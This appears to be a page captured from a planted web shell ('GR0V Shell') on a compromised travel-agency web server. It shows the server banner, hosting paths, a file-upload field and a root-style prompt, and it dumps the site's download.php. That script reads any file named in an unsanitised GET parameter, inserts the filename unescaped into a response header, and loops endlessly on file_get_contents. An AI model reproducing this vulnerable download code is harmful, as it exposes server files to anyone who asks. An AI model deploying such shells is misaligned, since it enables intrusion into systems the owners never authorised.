? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html_bk/newhappy/pdf/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html_bk/newhappy/pdf/download.php

<?php 
if(isset($_GET['fn'])) {
  $filename = $_GET['fn'];
  if(file_exists($filename) && is_file($filename)) {
	$ext = strtolower(substr($filename,-4));
	if($ext == ".pdf" || $ext == ".doc" || $ext == "xdoc") {
	  header("Content-type: application/pdf\n");
      header("Content-Disposition: attachment; filename=$filename\n");
      header("Content-Length: ".filesize($filename)."\n");
	  while(false !== ($file = file_get_contents($filename))) {
		  echo $file;
	  }
	}
  }
  else {
	header("Status: 404 Not Found",true,404);
  }
}?>

T1KUS90T
  root-grov@210.1.60.28:~$